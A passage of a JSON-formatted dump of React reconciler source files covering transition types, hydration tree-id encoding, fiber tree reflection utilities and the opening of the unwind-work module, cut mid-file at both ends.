CacheContext._currentValue2,\n    pool: cacheFromPool,\n  };\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberTransitionTypes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {FiberRoot} from './ReactInternalTypes';\nimport type {TransitionTypes} from 'react/src/ReactTransitionType';\n\nimport {enableViewTransition} from 'shared/ReactFeatureFlags';\nimport {includesTransitionLane} from './ReactFiberLane';\n\nexport function queueTransitionTypes(\n  root: FiberRoot,\n  transitionTypes: TransitionTypes,\n): void {\n  if (enableViewTransition) {\n    // TODO: We should really store transitionTypes per lane in a LaneMap on\n    // the root. Then merge it when we commit. We currently assume that all\n    // Transitions are entangled.\n    if (includesTransitionLane(root.pendingLanes)) {\n      let queued = root.transitionTypes;\n      if (queued === null) {\n        queued = root.transitionTypes = [];\n      }\n      for (let i = 0; i < transitionTypes.length; i++) {\n        const transitionType = transitionTypes[i];\n        if (queued.indexOf(transitionType) === -1) {\n          queued.push(transitionType);\n        }\n      }\n    }\n  }\n}\n\n// Store all types while we're entangled with an async Transition.\nexport let entangledTransitionTypes: null | TransitionTypes = null;\n\nexport function entangleAsyncTransitionTypes(\n  transitionTypes: TransitionTypes,\n): void {\n  if (enableViewTransition) {\n    let queued = entangledTransitionTypes;\n    if (queued === null) {\n      queued = entangledTransitionTypes = [];\n    }\n    for (let i = 0; i < transitionTypes.length; i++) {\n      const transitionType = transitionTypes[i];\n      if (queued.indexOf(transitionType) === -1) {\n        queued.push(transitionType);\n      }\n    }\n  }\n}\n\nexport function clearEntangledAsyncTransitionTypes() {\n  // Called when all Async Actions are done.\n  entangledTransitionTypes = null;\n}\n\nexport function claimQueuedTransitionTypes(\n  root: FiberRoot,\n): null | TransitionTypes {\n  const claimed = root.transitionTypes;\n  root.transitionTypes = null;\n  return claimed;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberTreeContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Ids are base 32 strings whose binary representation corresponds to the\n// position of a node in a tree.\n\n// Every time the tree forks into multiple children, we add additional bits to\n// the left of the sequence that represent the position of the child within the\n// current level of children.\n//\n//      00101       00010001011010101\n//      ╰─┬─╯       ╰───────┬───────╯\n//   Fork 5 of 20       Parent id\n//\n// The leading 0s are important. In the above example, you only need 3 bits to\n// represent slot 5. However, you need 5 bits to represent all the forks at\n// the current level, so we must account for the empty bits at the end.\n//\n// For this same reason, slots are 1-indexed instead of 0-indexed. Otherwise,\n// the zeroth id at a level would be indistinguishable from its parent.\n//\n// If a node has only one child, and does not materialize an id (i.e. does not\n// contain a useId hook), then we don't need to allocate any space in the\n// sequence. It's treated as a transparent indirection. For example, these two\n// trees produce the same ids:\n//\n// <>                          <>\n//   <Indirection>               <A />\n//     <A />                     <B />\n//   </Indirection>            </>\n//   <B />\n// </>\n//\n// However, we cannot skip any node that materializes an id. Otherwise, a parent\n// id that does not fork would be indistinguishable from its child id. For\n// example, this tree does not fork, but the parent and child must have\n// different ids.\n//\n// <Parent>\n//   <Child />\n// </Parent>\n//\n// To handle this scenario, every time we materialize an id, we allocate a\n// new level with a single slot. You can think of this as a fork with only one\n// prong, or an array of children with length 1.\n//\n// It's possible for the size of the sequence to exceed 32 bits, the max\n// size for bitwise operations. When this happens, we make more room by\n// converting the right part of the id to a string and storing it in an overflow\n// variable. We use a base 32 string representation, because 32 is the largest\n// power of 2 that is supported by toString(). We want the base to be large so\n// that the resulting ids are compact, and we want the base to be a power of 2\n// because every log2(base) bits corresponds to a single character, i.e. every\n// log2(32) = 5 bits. That means we can lop bits off the end 5 at a time without\n// affecting the final result.\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\n\nimport {getIsHydrating} from './ReactFiberHydrationContext';\nimport {clz32} from './clz32';\nimport {Forked, NoFlags} from './ReactFiberFlags';\n\nexport type TreeContext = {\n  id: number,\n  overflow: string,\n};\n\n// TODO: Use the unified fiber stack module instead of this local one?\n// Intentionally not using it yet to derisk the initial implementation, because\n// the way we push/pop these values is a bit unusual. If there's a mistake, I'd\n// rather the ids be wrong than crash the whole reconciler.\nconst forkStack: Array<any> = [];\nlet forkStackIndex: number = 0;\nlet treeForkProvider: Fiber | null = null;\nlet treeForkCount: number = 0;\n\nconst idStack: Array<any> = [];\nlet idStackIndex: number = 0;\nlet treeContextProvider: Fiber | null = null;\nlet treeContextId: number = 1;\nlet treeContextOverflow: string = '';\n\nexport function isForkedChild(workInProgress: Fiber): boolean {\n  warnIfNotHydrating();\n  return (workInProgress.flags & Forked) !== NoFlags;\n}\n\nexport function getForksAtLevel(workInProgress: Fiber): number {\n  warnIfNotHydrating();\n  return treeForkCount;\n}\n\nexport function getTreeId(): string {\n  const overflow = treeContextOverflow;\n  const idWithLeadingBit = treeContextId;\n  const id = idWithLeadingBit & ~getLeadingBit(idWithLeadingBit);\n  return id.toString(32) + overflow;\n}\n\nexport function pushTreeFork(\n  workInProgress: Fiber,\n  totalChildren: number,\n): void {\n  // This is called right after we reconcile an array (or iterator) of child\n  // fibers, because that's the only place where we know how many children in\n  // the whole set without doing extra work later, or storing addtional\n  // information on the fiber.\n  //\n  // That's why this function is separate from pushTreeId — it's called during\n  // the render phase of the fork parent, not the child, which is where we push\n  // the other context values.\n  //\n  // In the Fizz implementation this is much simpler because the child is\n  // rendered in the same callstack as the parent.\n  //\n  // It might be better to just add a `forks` field to the Fiber type. It would\n  // make this module simpler.\n\n  warnIfNotHydrating();\n\n  forkStack[forkStackIndex++] = treeForkCount;\n  forkStack[forkStackIndex++] = treeForkProvider;\n\n  treeForkProvider = workInProgress;\n  treeForkCount = totalChildren;\n}\n\nexport function pushTreeId(\n  workInProgress: Fiber,\n  totalChildren: number,\n  index: number,\n) {\n  warnIfNotHydrating();\n\n  idStack[idStackIndex++] = treeContextId;\n  idStack[idStackIndex++] = treeContextOverflow;\n  idStack[idStackIndex++] = treeContextProvider;\n\n  treeContextProvider = workInProgress;\n\n  const baseIdWithLeadingBit = treeContextId;\n  const baseOverflow = treeContextOverflow;\n\n  // The leftmost 1 marks the end of the sequence, non-inclusive. It's not part\n  // of the id; we use it to account for leading 0s.\n  const baseLength = getBitLength(baseIdWithLeadingBit) - 1;\n  const baseId = baseIdWithLeadingBit & ~(1 << baseLength);\n\n  const slot = index + 1;\n  const length = getBitLength(totalChildren) + baseLength;\n\n  // 30 is the max length we can store without overflowing, taking into\n  // consideration the leading 1 we use to mark the end of the sequence.\n  if (length > 30) {\n    // We overflowed the bitwise-safe range. Fall back to slower algorithm.\n    // This branch assumes the length of the base id is greater than 5; it won't\n    // work for smaller ids, because you need 5 bits per character.\n    //\n    // We encode the id in multiple steps: first the base id, then the\n    // remaining digits.\n    //\n    // Each 5 bit sequence corresponds to a single base 32 character. So for\n    // example, if the current id is 23 bits long, we can convert 20 of those\n    // bits into a string of 4 characters, with 3 bits left over.\n    //\n    // First calculate how many bits in the base id represent a complete\n    // sequence of characters.\n    const numberOfOverflowBits = baseLength - (baseLength % 5);\n\n    // Then create a bitmask that selects only those bits.\n    const newOverflowBits = (1 << numberOfOverflowBits) - 1;\n\n    // Select the bits, and convert them to a base 32 string.\n    const newOverflow = (baseId & newOverflowBits).toString(32);\n\n    // Now we can remove those bits from the base id.\n    const restOfBaseId = baseId >> numberOfOverflowBits;\n    const restOfBaseLength = baseLength - numberOfOverflowBits;\n\n    // Finally, encode the rest of the bits using the normal algorithm. Because\n    // we made more room, this time it won't overflow.\n    const restOfLength = getBitLength(totalChildren) + restOfBaseLength;\n    const restOfNewBits = slot << restOfBaseLength;\n    const id = restOfNewBits | restOfBaseId;\n    const overflow = newOverflow + baseOverflow;\n\n    treeContextId = (1 << restOfLength) | id;\n    treeContextOverflow = overflow;\n  } else {\n    // Normal path\n    const newBits = slot << baseLength;\n    const id = newBits | baseId;\n    const overflow = baseOverflow;\n\n    treeContextId = (1 << length) | id;\n    treeContextOverflow = overflow;\n  }\n}\n\nexport function pushMaterializedTreeId(workInProgress: Fiber) {\n  warnIfNotHydrating();\n\n  // This component materialized an id. This will affect any ids that appear\n  // in its children.\n  const returnFiber = workInProgress.return;\n  if (returnFiber !== null) {\n    const numberOfForks = 1;\n    const slotIndex = 0;\n    pushTreeFork(workInProgress, numberOfForks);\n    pushTreeId(workInProgress, numberOfForks, slotIndex);\n  }\n}\n\nfunction getBitLength(number: number): number {\n  return 32 - clz32(number);\n}\n\nfunction getLeadingBit(id: number) {\n  return 1 << (getBitLength(id) - 1);\n}\n\nexport function popTreeContext(workInProgress: Fiber) {\n  // Restore the previous values.\n\n  // This is a bit more complicated than other context-like modules in Fiber\n  // because the same Fiber may appear on the stack multiple times and for\n  // different reasons. We have to keep popping until the work-in-progress is\n  // no longer at the top of the stack.\n\n  while (workInProgress === treeForkProvider) {\n    treeForkProvider = forkStack[--forkStackIndex];\n    forkStack[forkStackIndex] = null;\n    treeForkCount = forkStack[--forkStackIndex];\n    forkStack[forkStackIndex] = null;\n  }\n\n  while (workInProgress === treeContextProvider) {\n    treeContextProvider = idStack[--idStackIndex];\n    idStack[idStackIndex] = null;\n    treeContextOverflow = idStack[--idStackIndex];\n    idStack[idStackIndex] = null;\n    treeContextId = idStack[--idStackIndex];\n    idStack[idStackIndex] = null;\n  }\n}\n\nexport function getSuspendedTreeContext(): TreeContext | null {\n  warnIfNotHydrating();\n  if (treeContextProvider !== null) {\n    return {\n      id: treeContextId,\n      overflow: treeContextOverflow,\n    };\n  } else {\n    return null;\n  }\n}\n\nexport function restoreSuspendedTreeContext(\n  workInProgress: Fiber,\n  suspendedContext: TreeContext,\n) {\n  warnIfNotHydrating();\n\n  idStack[idStackIndex++] = treeContextId;\n  idStack[idStackIndex++] = treeContextOverflow;\n  idStack[idStackIndex++] = treeContextProvider;\n\n  treeContextId = suspendedContext.id;\n  treeContextOverflow = suspendedContext.overflow;\n  treeContextProvider = workInProgress;\n}\n\nfunction warnIfNotHydrating() {\n  if (__DEV__) {\n    if (!getIsHydrating()) {\n      console.error(\n        'Expected to be hydrating. This is a bug in React. Please file ' +\n          'an issue.',\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberTreeReflection.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\nimport type {\n  Container,\n  ActivityInstance,\n  SuspenseInstance,\n} from './ReactFiberConfig';\nimport type {ActivityState} from './ReactFiberActivityComponent';\nimport type {SuspenseState} from './ReactFiberSuspenseComponent';\n\nimport {\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostRoot,\n  HostPortal,\n  HostText,\n  ActivityComponent,\n  SuspenseComponent,\n  OffscreenComponent,\n  Fragment,\n} from './ReactWorkTags';\nimport {NoFlags, Placement, Hydrating} from './ReactFiberFlags';\nimport {enableFragmentRefsTextNodes} from 'shared/ReactFeatureFlags';\n\nexport function getNearestMountedFiber(fiber: Fiber): null | Fiber {\n  let node = fiber;\n  let nearestMounted: null | Fiber = fiber;\n  // If there is no alternate, this might be a new tree that isn't inserted\n  // yet. If it is, then it will have a pending insertion effect on it.\n  let nextNode: Fiber = node;\n  while (nextNode && !nextNode.alternate) {\n    node = nextNode;\n    if ((node.flags & (Placement | Hydrating)) !== NoFlags) {\n      // This is an insertion or in-progress hydration. The nearest possible\n      // mounted fiber is the parent but we need to continue to figure out\n      // if that one is still mounted.\n      nearestMounted = node.return;\n    }\n    // $FlowFixMe[incompatible-type] we bail out when we get a null\n    nextNode = node.return;\n  }\n  // After we've reached an alternate, go the rest of the way to see if the\n  // tree is still mounted. If it's not, its return pointer will be disconnected.\n  while (node.return) {\n    node = node.return;\n  }\n  if (node.tag === HostRoot) {\n    // TODO: Check if this was a nested HostRoot when used with\n    // renderContainerIntoSubtree.\n    return nearestMounted;\n  }\n  // If we didn't hit the root, that means that we're in an disconnected tree\n  // that has been unmounted.\n  return null;\n}\n\nexport function getSuspenseInstanceFromFiber(\n  fiber: Fiber,\n): null | SuspenseInstance {\n  if (fiber.tag === SuspenseComponent) {\n    let suspenseState: SuspenseState | null = fiber.memoizedState;\n    if (suspenseState === null) {\n      const current = fiber.alternate;\n      if (current !== null) {\n        suspenseState = current.memoizedState;\n      }\n    }\n    if (suspenseState !== null) {\n      return suspenseState.dehydrated;\n    }\n  }\n  return null;\n}\n\nexport function getActivityInstanceFromFiber(\n  fiber: Fiber,\n): null | ActivityInstance {\n  if (fiber.tag === ActivityComponent) {\n    let activityState: ActivityState | null = fiber.memoizedState;\n    if (activityState === null) {\n      const current = fiber.alternate;\n      if (current !== null) {\n        activityState = current.memoizedState;\n      }\n    }\n    if (activityState !== null) {\n      return activityState.dehydrated;\n    }\n  }\n  // TODO: Implement this on ActivityComponent.\n  return null;\n}\n\nexport function getContainerFromFiber(fiber: Fiber): null | Container {\n  return fiber.tag === HostRoot\n    ? (fiber.stateNode.containerInfo: Container)\n    : null;\n}\n\nfunction assertIsMounted(fiber: Fiber) {\n  if (getNearestMountedFiber(fiber) !== fiber) {\n    throw new Error('Unable to find node on an unmounted component.');\n  }\n}\n\nexport function findCurrentFiberUsingSlowPath(fiber: Fiber): Fiber | null {\n  const alternate = fiber.alternate;\n  if (!alternate) {\n    // If there is no alternate, then we only need to check if it is mounted.\n    const nearestMounted = getNearestMountedFiber(fiber);\n\n    if (nearestMounted === null) {\n      throw new Error('Unable to find node on an unmounted component.');\n    }\n\n    if (nearestMounted !== fiber) {\n      return null;\n    }\n    return fiber;\n  }\n  // If we have two possible branches, we'll walk backwards up to the root\n  // to see what path the root points to. On the way we may hit one of the\n  // special cases and we'll deal with them.\n  let a: Fiber = fiber;\n  let b: Fiber = alternate;\n  while (true) {\n    const parentA = a.return;\n    if (parentA === null) {\n      // We're at the root.\n      break;\n    }\n    const parentB = parentA.alternate;\n    if (parentB === null) {\n      // There is no alternate. This is an unusual case. Currently, it only\n      // happens when a Suspense component is hidden. An extra fragment fiber\n      // is inserted in between the Suspense fiber and its children. Skip\n      // over this extra fragment fiber and proceed to the next parent.\n      const nextParent = parentA.return;\n      if (nextParent !== null) {\n        a = b = nextParent;\n        continue;\n      }\n      // If there's no parent, we're at the root.\n      break;\n    }\n\n    // If both copies of the parent fiber point to the same child, we can\n    // assume that the child is current. This happens when we bailout on low\n    // priority: the bailed out fiber's child reuses the current child.\n    if (parentA.child === parentB.child) {\n      let child = parentA.child;\n      while (child) {\n        if (child === a) {\n          // We've determined that A is the current branch.\n          assertIsMounted(parentA);\n          return fiber;\n        }\n        if (child === b) {\n          // We've determined that B is the current branch.\n          assertIsMounted(parentA);\n          return alternate;\n        }\n        child = child.sibling;\n      }\n\n      // We should never have an alternate for any mounting node. So the only\n      // way this could possibly happen is if this was unmounted, if at all.\n      throw new Error('Unable to find node on an unmounted component.');\n    }\n\n    if (a.return !== b.return) {\n      // The return pointer of A and the return pointer of B point to different\n      // fibers. We assume that return pointers never criss-cross, so A must\n      // belong to the child set of A.return, and B must belong to the child\n      // set of B.return.\n      a = parentA;\n      b = parentB;\n    } else {\n      // The return pointers point to the same fiber. We'll have to use the\n      // default, slow path: scan the child sets of each parent alternate to see\n      // which child belongs to which set.\n      //\n      // Search parent A's child set\n      let didFindChild = false;\n      let child = parentA.child;\n      while (child) {\n        if (child === a) {\n          didFindChild = true;\n          a = parentA;\n          b = parentB;\n          break;\n        }\n        if (child === b) {\n          didFindChild = true;\n          b = parentA;\n          a = parentB;\n          break;\n        }\n        child = child.sibling;\n      }\n      if (!didFindChild) {\n        // Search parent B's child set\n        child = parentB.child;\n        while (child) {\n          if (child === a) {\n            didFindChild = true;\n            a = parentB;\n            b = parentA;\n            break;\n          }\n          if (child === b) {\n            didFindChild = true;\n            b = parentB;\n            a = parentA;\n            break;\n          }\n          child = child.sibling;\n        }\n\n        if (!didFindChild) {\n          throw new Error(\n            'Child was not found in either parent set. This indicates a bug ' +\n              'in React related to the return pointer. Please file an issue.',\n          );\n        }\n      }\n    }\n\n    if (a.alternate !== b) {\n      throw new Error(\n        \"Return fibers should always be each others' alternates. \" +\n          'This error is likely caused by a bug in React. Please file an issue.',\n      );\n    }\n  }\n\n  // If the root is not a host container, we're in a disconnected tree. I.e.\n  // unmounted.\n  if (a.tag !== HostRoot) {\n    throw new Error('Unable to find node on an unmounted component.');\n  }\n\n  if (a.stateNode.current === a) {\n    // We've determined that A is the current branch.\n    return fiber;\n  }\n  // Otherwise B has to be current branch.\n  return alternate;\n}\n\nexport function findCurrentHostFiber(parent: Fiber): Fiber | null {\n  const currentParent = findCurrentFiberUsingSlowPath(parent);\n  return currentParent !== null\n    ? findCurrentHostFiberImpl(currentParent)\n    : null;\n}\n\nfunction findCurrentHostFiberImpl(node: Fiber): Fiber | null {\n  // Next we'll drill down this component to find the first HostComponent/Text.\n  const tag = node.tag;\n  if (\n    tag === HostComponent ||\n    tag === HostHoistable ||\n    tag === HostSingleton ||\n    tag === HostText\n  ) {\n    return node;\n  }\n\n  let child = node.child;\n  while (child !== null) {\n    const match = findCurrentHostFiberImpl(child);\n    if (match !== null) {\n      return match;\n    }\n    child = child.sibling;\n  }\n\n  return null;\n}\n\nexport function findCurrentHostFiberWithNoPortals(parent: Fiber): Fiber | null {\n  const currentParent = findCurrentFiberUsingSlowPath(parent);\n  return currentParent !== null\n    ? findCurrentHostFiberWithNoPortalsImpl(currentParent)\n    : null;\n}\n\nfunction findCurrentHostFiberWithNoPortalsImpl(node: Fiber): Fiber | null {\n  // Next we'll drill down this component to find the first HostComponent/Text.\n  const tag = node.tag;\n  if (\n    tag === HostComponent ||\n    tag === HostHoistable ||\n    tag === HostSingleton ||\n    tag === HostText\n  ) {\n    return node;\n  }\n\n  let child = node.child;\n  while (child !== null) {\n    if (child.tag !== HostPortal) {\n      const match = findCurrentHostFiberWithNoPortalsImpl(child);\n      if (match !== null) {\n        return match;\n      }\n    }\n    child = child.sibling;\n  }\n\n  return null;\n}\n\nexport function isFiberSuspenseAndTimedOut(fiber: Fiber): boolean {\n  const memoizedState = fiber.memoizedState;\n  return (\n    fiber.tag === SuspenseComponent &&\n    memoizedState !== null &&\n    memoizedState.dehydrated === null\n  );\n}\n\nexport function doesFiberContain(\n  parentFiber: Fiber,\n  childFiber: Fiber,\n): boolean {\n  let node: null | Fiber = childFiber;\n  const parentFiberAlternate = parentFiber.alternate;\n  while (node !== null) {\n    if (node === parentFiber || node === parentFiberAlternate) {\n      return true;\n    }\n    node = node.return;\n  }\n  return false;\n}\n\nexport function traverseFragmentInstance<A, B, C>(\n  fragmentFiber: Fiber,\n  fn: (Fiber, A, B, C) => boolean,\n  a: A,\n  b: B,\n  c: C,\n): void {\n  traverseVisibleHostChildren(fragmentFiber.child, false, fn, a, b, c);\n}\n\nexport function traverseFragmentInstanceDeeply<A, B, C>(\n  fragmentFiber: Fiber,\n  fn: (Fiber, A, B, C) => boolean,\n  a: A,\n  b: B,\n  c: C,\n): void {\n  traverseVisibleHostChildren(fragmentFiber.child, true, fn, a, b, c);\n}\n\nfunction traverseVisibleHostChildren<A, B, C>(\n  child: Fiber | null,\n  searchWithinHosts: boolean,\n  fn: (Fiber, A, B, C) => boolean,\n  a: A,\n  b: B,\n  c: C,\n): boolean {\n  while (child !== null) {\n    const isHostNode =\n      child.tag === HostComponent ||\n      (enableFragmentRefsTextNodes && child.tag === HostText);\n    if (isHostNode && fn(child, a, b, c)) {\n      return true;\n    } else if (\n      child.tag === OffscreenComponent &&\n      child.memoizedState !== null\n    ) {\n      // Skip hidden subtrees\n    } else {\n      if (\n        (searchWithinHosts || child.tag !== HostComponent) &&\n        traverseVisibleHostChildren(child.child, searchWithinHosts, fn, a, b, c)\n      ) {\n        return true;\n      }\n    }\n    child = child.sibling;\n  }\n  return false;\n}\n\nexport function getFragmentParentHostFiber(fiber: Fiber): null | Fiber {\n  let parent = fiber.return;\n  while (parent !== null) {\n    if (parent.tag === HostRoot || parent.tag === HostComponent) {\n      return parent;\n    }\n    parent = parent.return;\n  }\n\n  return null;\n}\n\nexport function fiberIsPortaledIntoHost(fiber: Fiber): boolean {\n  let foundPortalParent = false;\n  let parent = fiber.return;\n  while (parent !== null) {\n    if (parent.tag === HostPortal) {\n      foundPortalParent = true;\n    }\n    if (parent.tag === HostRoot || parent.tag === HostComponent) {\n      break;\n    }\n    parent = parent.return;\n  }\n  return foundPortalParent;\n}\n\nexport function getFragmentInstanceSiblings(\n  fiber: Fiber,\n): [Fiber | null, Fiber | null] {\n  const result: [Fiber | null, Fiber | null] = [null, null];\n  const parentHostFiber = getFragmentParentHostFiber(fiber);\n  if (parentHostFiber === null) {\n    return result;\n  }\n\n  findFragmentInstanceSiblings(result, fiber, parentHostFiber.child);\n  return result;\n}\n\nfunction findFragmentInstanceSiblings(\n  result: [Fiber | null, Fiber | null],\n  self: Fiber,\n  child: null | Fiber,\n  foundSelf: boolean = false,\n): boolean {\n  while (child !== null) {\n    if (child === self) {\n      foundSelf = true;\n      if (child.sibling) {\n        child = child.sibling;\n      } else {\n        return true;\n      }\n    }\n    if (child.tag === HostComponent) {\n      if (foundSelf) {\n        result[1] = child;\n        return true;\n      } else {\n        result[0] = child;\n      }\n    } else if (\n      child.tag === OffscreenComponent &&\n      child.memoizedState !== null\n    ) {\n      // Skip hidden subtrees\n    } else {\n      if (findFragmentInstanceSiblings(result, self, child.child, foundSelf)) {\n        return true;\n      }\n    }\n    child = child.sibling;\n  }\n  return false;\n}\n\nexport function getInstanceFromHostFiber<I>(fiber: Fiber): I {\n  switch (fiber.tag) {\n    case HostComponent:\n    case HostText:\n      return fiber.stateNode;\n    case HostRoot:\n      return fiber.stateNode.containerInfo;\n    default:\n      throw new Error('Expected to find a host node. This is a bug in React.');\n  }\n}\n\nlet searchTarget = null;\nlet searchBoundary = null;\nfunction pushSearchTarget(target: null | Fiber): void {\n  searchTarget = target;\n}\nfunction popSearchTarget(): null | Fiber {\n  return searchTarget;\n}\nfunction pushSearchBoundary(value: null | Fiber): void {\n  searchBoundary = value;\n}\nfunction popSearchBoundary(): null | Fiber {\n  return searchBoundary;\n}\n\nexport function getNextSiblingHostFiber(fiber: Fiber): null | Fiber {\n  traverseVisibleHostChildren(fiber.sibling, false, findNextSibling);\n  const sibling = popSearchTarget();\n  pushSearchTarget(null);\n  return sibling;\n}\n\nfunction findNextSibling(child: Fiber): boolean {\n  pushSearchTarget(child);\n  return true;\n}\n\nexport function isFiberContainedByFragment(\n  fiber: Fiber,\n  fragmentFiber: Fiber,\n): boolean {\n  let current: Fiber | null = fiber;\n  while (current !== null) {\n    if (\n      current.tag === Fragment &&\n      (current === fragmentFiber || current.alternate === fragmentFiber)\n    ) {\n      return true;\n    }\n    current = current.return;\n  }\n  return false;\n}\n\nexport function isFragmentContainedByFiber(\n  fragmentFiber: Fiber,\n  otherFiber: Fiber,\n): boolean {\n  let current: Fiber | null = fragmentFiber;\n  const fiberHostParent: Fiber | null =\n    getFragmentParentHostFiber(fragmentFiber);\n  while (current !== null) {\n    if (\n      (current.tag === HostComponent || current.tag === HostRoot) &&\n      (current === fiberHostParent || current.alternate === fiberHostParent)\n    ) {\n      return true;\n    }\n    current = current.return;\n  }\n  return false;\n}\n\nexport function isFiberPreceding(fiber: Fiber, otherFiber: Fiber): boolean {\n  const commonAncestor = getLowestCommonAncestor(\n    fiber,\n    otherFiber,\n    getParentForFragmentAncestors,\n  );\n  if (commonAncestor === null) {\n    return false;\n  }\n  traverseVisibleHostChildren(\n    commonAncestor,\n    true,\n    isFiberPrecedingCheck,\n    otherFiber,\n    fiber,\n  );\n  const target = popSearchTarget();\n  pushSearchTarget(null);\n  return target !== null;\n}\n\nfunction isFiberPrecedingCheck(\n  child: Fiber,\n  target: Fiber,\n  boundary: Fiber,\n): boolean {\n  if (child === boundary) {\n    return true;\n  }\n  if (child === target) {\n    pushSearchTarget(child);\n    return true;\n  }\n  return false;\n}\n\nexport function isFiberFollowing(fiber: Fiber, otherFiber: Fiber): boolean {\n  const commonAncestor = getLowestCommonAncestor(\n    fiber,\n    otherFiber,\n    getParentForFragmentAncestors,\n  );\n  if (commonAncestor === null) {\n    return false;\n  }\n  traverseVisibleHostChildren(\n    commonAncestor,\n    true,\n    isFiberFollowingCheck,\n    otherFiber,\n    fiber,\n  );\n  const target = popSearchTarget();\n  pushSearchTarget(null);\n  pushSearchBoundary(null);\n  return target !== null;\n}\n\nfunction isFiberFollowingCheck(\n  child: Fiber,\n  target: Fiber,\n  boundary: Fiber,\n): boolean {\n  if (child === boundary) {\n    pushSearchBoundary(child);\n    return false;\n  }\n  if (child === target) {\n    // The target is only following if we already found the boundary.\n    if (popSearchBoundary() !== null) {\n      pushSearchTarget(child);\n    }\n    return true;\n  }\n  return false;\n}\n\nfunction getParentForFragmentAncestors(inst: Fiber | null): Fiber | null {\n  if (inst === null) {\n    return null;\n  }\n  do {\n    inst = inst === null ? null : inst.return;\n  } while (\n    inst &&\n    inst.tag !== HostComponent &&\n    inst.tag !== HostSingleton &&\n    inst.tag !== HostRoot\n  );\n  if (inst) {\n    return inst;\n  }\n  return null;\n}\n\n/**\n * Return the lowest common ancestor of A and B, or null if they are in\n * different trees.\n */\nexport function getLowestCommonAncestor(\n  instA: Fiber,\n  instB: Fiber,\n  getParent: (inst: Fiber | null) => Fiber | null,\n): Fiber | null {\n  let nodeA: null | Fiber = instA;\n  let nodeB: null | Fiber = instB;\n  let depthA = 0;\n  for (let tempA: null | Fiber = nodeA; tempA; tempA = getParent(tempA)) {\n    depthA++;\n  }\n  let depthB = 0;\n  for (let tempB: null | Fiber = nodeB; tempB; tempB = getParent(tempB)) {\n    depthB++;\n  }\n\n  // If A is deeper, crawl up.\n  while (depthA - depthB > 0) {\n    nodeA = getParent(nodeA);\n    depthA--;\n  }\n\n  // If B is deeper, crawl up.\n  while (depthB - depthA > 0) {\n    nodeB = getParent(nodeB);\n    depthB--;\n  }\n\n  // Walk in lockstep until we find a match.\n  let depth = depthA;\n  while (depth--) {\n    if (nodeA === nodeB || (nodeB !== null && nodeA === nodeB.alternate)) {\n      return nodeA;\n    }\n    nodeA = getParent(nodeA);\n    nodeB = getParent(nodeB);\n  }\n  return null;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberUnwindWork.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {Lanes} from './ReactFiberLane';\nimport type {ActivityState} from './ReactFiberActivityComponent';\nimport type {\n  SuspenseState,\n  SuspenseListRenderState,\n} from './ReactFiberSuspenseComponent';\nimport type {Cache} from './ReactFiberCacheComponent';\nimport type {TracingMarkerInstance} from './ReactFiberTracingMarkerComponent';\n\nimport {\n  ClassComponent,\n  HostRoot,\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostPortal,\n  ContextProvider,\n  ActivityComponent,\n  SuspenseComponent,\n  SuspenseListComponent,\n  OffscreenComponent,\n  LegacyHiddenComponent,\n  CacheComponent,\n  TracingMarkerComponent,\n} from './ReactWorkTags';\nimport {DidCapture, NoFlags, ShouldCapture, Update} from './ReactFiberFlags';\nimport {NoMode, ProfileMode} from './ReactTypeOfMode';\nimport {\n  enableProfilerTimer,\n  enableTransitionTracing,\n} from 'shared/ReactFeatureFlags';\n\nimport {popHostContainer, popHostContext} from './ReactFiberHostContext';\nimport {\n  popSuspenseListContext,\n  popSuspenseHandler,\n} from './ReactFiberSuspenseContext';\nimport {popHiddenContext} from './ReactFiberHiddenContext';\nimport {resetHydrationState} from './ReactFiberHydrationContext';\nimport {\n  isContextProvider as isLegacyContextProvider,\n  popContext as popLegacyContext,\n  popTopLevelContextObject as popTopLevelLegacyContextObject,\n} from './ReactFiberLegacyContext';\nimport {popProvider} from './ReactFiberNewContext';\nimport {popCacheProvider} from './ReactFiberCacheComponent';\nimport {transferActualDuration} from './ReactProfilerTimer';\nimport {popTreeContext} from './ReactFiberTreeContext';\nimport {popRootTransition, popTransition} from './ReactFiberTransition';\nimport {\n  popMarkerInstance,\n  popRootMarkerInstance,\n} from './ReactFiberTracingMarkerComponent';\n\nfunction unwindWork(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n): Fiber | null {\n  // Note: This intentionally doesn't check if we're hydrating because comparing\n  // to the current tree provider fiber is just as fast and less error-prone.\n  // Ideally we would have a special version of the work loop only\n  // for hydration.\n  popTreeContext(workInProgress);\n  switch (workInProgress.tag) {\n    case ClassComponent: {\n      const Component = workInProgress.type;\n      if (isLegacyContextProvider(Component)) {\n        popLegacyContext(workInProgress);\n      }\n      const flags = workInProgress.flags;\n      if (flags & ShouldCapture) {\n        workInProgress.flags = (flags & ~ShouldCapture) | DidCapture;\n        if (\n          enableProfilerTimer &&\n          (workInProgress.mode & ProfileMode) !== NoMode\n        ) {\n          transferActualDuration(workInProgress);\n        }\n        return workInProgress;\n      }\n      return null;\n    }\n    case HostRoot: {\n      const root: FiberRoot = workInProgress.stateNode;\n      const cache: Cache = workInProgress.memoizedState.cache;\n      popCacheProvider(workInProgress, cache);\n\n      if (enableTransitionTracing) {\n        popRootMarkerInstance(workInProgress);\n      }\n\n      popRootTransition(workInProgress, root, renderLanes);\n     